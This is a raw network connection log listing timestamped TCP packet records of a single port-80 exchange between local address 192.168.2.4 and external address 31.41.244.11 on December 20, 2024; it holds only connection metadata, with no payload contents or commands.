Dec 20, 2024 11:12:13.501118898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.501156092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.501203060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.502185106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.502233982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.502298117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.502353907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.503216028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.503264904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.503349066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.503396988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.504312992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.504359007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.504465103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.504514933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.505398989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.505448103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.505455017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.505501986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.506529093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.506572962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.506639957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.506689072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.507601023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.507651091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.507654905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.507703066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.508728027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.508775949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.508841038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.508887053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.509778976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.509830952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.509911060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.509957075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.510864973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.510921001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.510941982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.510988951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.511938095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.511987925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.512052059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.512104988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.513052940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.513102055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.513180971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.513223886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.514120102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.514169931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.514250994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.514297962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.515197992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.515249014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.515328884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.515376091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.516256094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.516305923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.516366005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.516415119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.517347097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.517393112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.517473936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.517522097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.518441916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.518490076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.518553972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.518599987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.519490957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.519539118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.654944897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.654999018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.655026913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.655045986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.655142069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.655193090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.655255079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.655304909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.656335115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.656394958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.656423092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.656475067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.657341957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.657394886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.657398939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.657447100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.658422947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.658474922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.658531904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.658581972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.659576893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.659632921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.659660101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.659672022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.660582066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.660634995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.660701990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.660748959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.661705017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.661757946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.661797047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.661844969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.662755013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.662808895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.662863970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.662916899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.664011002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.664062023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.664066076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.664119959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.664964914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.665019035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.665246964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.665296078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.666099072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.666155100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.666357994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.666405916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.667169094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.667221069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.667284966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.667330027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.668201923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.668255091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.668281078 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.668332100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.669289112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.669342041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.669394970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.669440985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.670360088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.670416117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.670480967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.670531034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.671463966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.671519995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.671585083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.671628952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.672537088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.672595024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.672641993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.672689915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.673660040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.673712015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.673775911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.673825026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.674716949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.674771070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.674806118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.674853086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.675791979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.675843954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.675925970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.675975084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.676883936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.676938057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.677150965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.677216053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.678020000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.678072929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.678117037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.678164959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.679080963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.679137945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.679205894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.679250956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.680241108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.680299044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.680355072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.680397987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.681252956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.681308985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.681391001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.681438923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.682349920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.682404995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.682485104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.682533026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.683468103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.683521032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.683587074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.683640003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.684526920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.684575081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.684705019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.684756041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.685632944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.685683966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.685755014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.685805082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.686686993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.686739922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.686794043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.686846972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.687769890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.687824965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.687890053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.687939882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.688829899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.688879967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.688963890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.689013004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.689927101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.689980030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.690061092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.690110922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.691045046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.691098928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.691103935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.691157103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.692131042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.692182064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.692188025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.692243099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.693206072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.693252087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.693336964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.693391085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.694262981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.694319010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.694401979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.694458008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.695378065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.695434093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.695494890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.695548058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.696434975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.696489096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.696554899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.696618080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.697541952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.697593927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.697659016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.697706938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.698631048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.698681116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.698748112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.698797941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.699698925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.699752092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.699778080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.699831009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.700870991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.700923920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.700974941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.701025963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.701889992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.701958895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.702012062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.702058077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.702981949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.703037977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.703104973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.703155994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.704127073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.704180002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.704183102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.704231024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.705177069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.705229044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.705292940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.705341101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.706223965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.706274986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.706360102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.706409931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.707310915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.707380056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.707427979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.707474947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.708451986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.708504915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.708673954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.708726883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.709481001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.709532022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.709594965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.709644079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.710598946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.710649014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.710705042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.710755110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.711678982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.711729050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.846786976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.846856117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.846913099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.846963882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.847604036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.847657919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.847664118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.847702980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.848426104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.848507881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.848597050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.848643064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.849530935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.849596024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.849618912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.849667072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.850564003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.850622892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.850689888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.850728989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.851679087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.851737976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.851771116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.851829052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.852781057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.852861881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.852945089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.852993965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.853849888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.853903055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.853907108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.853955030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.854927063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.854979038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.855063915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.855114937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.856024981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.856077909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.856206894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.856265068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.857078075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.857132912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.857136965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.857188940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.858177900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.858243942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.858299971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.858350992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.859273911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.859340906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.859426022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.859476089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.860368967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.860421896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.860482931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.860532999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.861465931 CET	80	49768	31.41.244.11	192.168.2.4
